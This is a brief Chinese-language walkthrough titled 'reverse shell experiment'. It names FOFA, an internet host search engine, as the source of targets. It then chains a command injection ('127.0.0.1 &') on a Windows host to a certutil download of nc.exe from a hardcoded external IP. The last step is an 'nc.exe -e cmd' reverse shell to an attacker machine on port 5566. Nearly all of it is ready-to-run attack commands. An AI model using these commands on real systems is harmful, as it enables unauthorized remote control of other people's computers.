【反弹shell实验】

反弹shell实验

###一、实验所需环境及使用链接汇总：

1. nc 软件下载，下载地址：https://sourceforge.net/projects/netcat/postdownload?source=dlp
2. 靶场地址：https://fofa.info/
3. 一台外网攻击机
   ###二、实验步骤：
   1、找到对应靶机，测试是否可以重连，Windows 的主机
   
   2、下载NC，127.0.0.1 &
   certutil -urlcache -split -f http://114.118.80.138/nc.exe #下载文件到当前目录下

certutil -urlcache -split -f http://114.118.80.138/nc.exe c:/users/xie/desktop/nc.exe #下载文件到指定目录下
3、dir 看到是有这个地址的
4、反弹shell
127.0.0.1 & nc.exe -e cmd 攻击机ip 5566 靶机执行如上命令
攻击机监听5566端口

可以看到靶机的shell 在攻击机上了。